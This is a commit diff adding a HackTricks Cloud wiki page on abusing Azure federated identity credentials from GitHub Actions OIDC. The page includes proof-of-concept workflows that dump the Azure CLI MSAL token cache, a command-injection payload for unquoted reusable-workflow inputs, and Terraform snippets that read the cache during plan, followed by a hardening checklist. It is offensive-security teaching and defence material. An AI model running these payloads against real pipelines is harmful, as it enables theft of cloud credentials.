mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 20:23:28 -08:00
Add content from: GitHub Actions: A Cloudy Day for Security - Part 2
- Remove searchindex.js (auto-generated file)
This commit is contained in:
@@ -403,6 +403,7 @@
|
|||||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||||
|
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||||
- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
|
- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
|
||||||
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
|
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
|
||||||
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
|
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
|
||||||
|
|||||||
@@ -477,7 +477,7 @@ jobs:
|
|||||||
- run: ls tmp/checkout
|
- run: ls tmp/checkout
|
||||||
```
|
```
|
||||||
|
|
||||||
### Accessing AWS and GCP via OIDC
|
### Accessing AWS, Azure and GCP via OIDC
|
||||||
|
|
||||||
Check the following pages:
|
Check the following pages:
|
||||||
|
|
||||||
@@ -485,6 +485,10 @@ Check the following pages:
|
|||||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|||||||
@@ -0,0 +1,253 @@
|
|||||||
|
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
|
||||||
|
|
||||||
|
Azure validates at least:
|
||||||
|
- iss: https://token.actions.githubusercontent.com
|
||||||
|
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
|
||||||
|
- sub: must match the configured FIC Subject identifier
|
||||||
|
|
||||||
|
> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
|
||||||
|
|
||||||
|
## GitHub ID token quick PoC
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
name: Print OIDC identity token
|
||||||
|
on: { workflow_dispatch: {} }
|
||||||
|
permissions:
|
||||||
|
id-token: write
|
||||||
|
jobs:
|
||||||
|
view-token:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: get-token
|
||||||
|
run: |
|
||||||
|
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||||
|
# Base64 avoid GitHub masking
|
||||||
|
echo "$OIDC_TOKEN" | base64 -w0
|
||||||
|
```
|
||||||
|
|
||||||
|
To force Azure audience on token request:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||||
|
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||||
|
```
|
||||||
|
|
||||||
|
## Azure setup (Workload Identity Federation)
|
||||||
|
|
||||||
|
1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).
|
||||||
|
|
||||||
|
2) Add Federated identity credentials:
|
||||||
|
- Issuer: https://token.actions.githubusercontent.com
|
||||||
|
- Audience: api://AzureADTokenExchange
|
||||||
|
- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).
|
||||||
|
|
||||||
|
3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
name: Deploy to Azure
|
||||||
|
on:
|
||||||
|
push: { branches: [main] }
|
||||||
|
permissions:
|
||||||
|
id-token: write
|
||||||
|
contents: read
|
||||||
|
jobs:
|
||||||
|
deploy:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Az CLI login
|
||||||
|
uses: azure/login@v2
|
||||||
|
with:
|
||||||
|
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||||
|
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||||
|
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||||
|
- name: Upload file to Azure
|
||||||
|
run: |
|
||||||
|
az storage blob upload --data "test" -c hmm -n testblob \
|
||||||
|
--account-name sofiatest --auth-mode login
|
||||||
|
```
|
||||||
|
|
||||||
|
Manual exchange example (Graph scope shown; ARM or other resources similarly):
|
||||||
|
|
||||||
|
```http
|
||||||
|
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||||
|
Host: login.microsoftonline.com
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
client_id=<app-client-id>&grant_type=client_credentials&
|
||||||
|
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||||
|
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||||
|
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||||
|
```
|
||||||
|
|
||||||
|
## GitHub OIDC subject (sub) anatomy and customization
|
||||||
|
|
||||||
|
Default sub format: repo:<org>/<repo>:<context>
|
||||||
|
|
||||||
|
Context values include:
|
||||||
|
- environment:<env>
|
||||||
|
- pull_request (PR triggers when not in an environment)
|
||||||
|
- ref:refs/(heads|tags)/<name>
|
||||||
|
|
||||||
|
Useful claims often present in the payload:
|
||||||
|
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||||
|
|
||||||
|
Customize sub composition via the GitHub API to include additional claims and reduce collision risk:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gh api orgs/<org>/actions/oidc/customization/sub
|
||||||
|
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||||
|
# Example to include owner and visibility
|
||||||
|
gh api \
|
||||||
|
--method PUT \
|
||||||
|
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||||
|
-f use_default=false \
|
||||||
|
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||||
|
```
|
||||||
|
|
||||||
|
Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:<name>) is still unsafe.
|
||||||
|
|
||||||
|
## Scoping and risks of FIC subject types
|
||||||
|
|
||||||
|
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||||
|
- Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
|
||||||
|
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||||
|
- Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
|
||||||
|
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||||
|
- Highest risk: Any collaborator can open a PR and satisfy the FIC.
|
||||||
|
|
||||||
|
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
name: Steal tokens
|
||||||
|
on: pull_request
|
||||||
|
permissions:
|
||||||
|
id-token: write
|
||||||
|
contents: read
|
||||||
|
jobs:
|
||||||
|
extract-creds:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: azure login
|
||||||
|
uses: azure/login@v2
|
||||||
|
with:
|
||||||
|
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||||
|
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||||
|
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||||
|
- name: Extract access token
|
||||||
|
run: |
|
||||||
|
# Azure CLI caches tokens here on Linux runners
|
||||||
|
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||||
|
# Decode twice locally to recover the bearer token
|
||||||
|
```
|
||||||
|
|
||||||
|
Related file locations and notes:
|
||||||
|
- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
|
||||||
|
- Windows: msal_token_cache.bin under user profile; DPAPI‑protected
|
||||||
|
|
||||||
|
## Reusable workflows and job_workflow_ref scoping
|
||||||
|
|
||||||
|
Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:
|
||||||
|
|
||||||
|
```
|
||||||
|
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||||
|
```
|
||||||
|
|
||||||
|
FIC example to bind both caller repo and the reusable workflow:
|
||||||
|
|
||||||
|
```
|
||||||
|
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||||
|
```
|
||||||
|
|
||||||
|
Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:
|
||||||
|
|
||||||
|
```http
|
||||||
|
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||||
|
Host: api.github.com
|
||||||
|
Authorization: token <access token>
|
||||||
|
|
||||||
|
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||||
|
```
|
||||||
|
|
||||||
|
Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.
|
||||||
|
|
||||||
|
## Code execution vectors that bypass job_workflow_ref protections
|
||||||
|
|
||||||
|
Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.
|
||||||
|
|
||||||
|
Example vulnerable reusable step (unquoted interpolation):
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
- name: Example Security Check
|
||||||
|
run: |
|
||||||
|
echo "Checking file contents"
|
||||||
|
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||||
|
echo "Malicious content detected!"; exit 1
|
||||||
|
else
|
||||||
|
echo "File contents are safe."
|
||||||
|
fi
|
||||||
|
```
|
||||||
|
|
||||||
|
Malicious caller input to execute commands and exfiltrate the Azure token cache:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
with:
|
||||||
|
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Terraform plan as an execution primitive in PRs
|
||||||
|
|
||||||
|
Treat terraform plan as code execution. During plan, Terraform can:
|
||||||
|
- Read arbitrary files via functions like file()
|
||||||
|
- Execute commands via the external data source
|
||||||
|
|
||||||
|
Example to exfiltrate Azure token cache during plan:
|
||||||
|
|
||||||
|
```hcl
|
||||||
|
output "msal_token_cache" {
|
||||||
|
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Or use external to run arbitrary commands:
|
||||||
|
|
||||||
|
```hcl
|
||||||
|
data "external" "exfil" {
|
||||||
|
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
|
||||||
|
|
||||||
|
## Hardening checklist
|
||||||
|
|
||||||
|
- Never use sub=...:pull_request for sensitive FICs
|
||||||
|
- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
|
||||||
|
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
|
||||||
|
- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
|
||||||
|
- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
|
||||||
|
- Treat terraform plan as code execution; restrict or isolate identities in PR contexts
|
||||||
|
- Enforce least privilege on App Registrations; separate identities for plan vs apply
|
||||||
|
- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)
|
||||||
|
|
||||||
|
## Manual testing tips
|
||||||
|
|
||||||
|
- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
|
||||||
|
- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
|
||||||
|
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
|
||||||
|
- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||||
|
- [azure/login action](https://github.com/Azure/login)
|
||||||
|
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||||
|
- [gh CLI](https://cli.github.com/)
|
||||||
|
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
Reference in New Issue
Block a user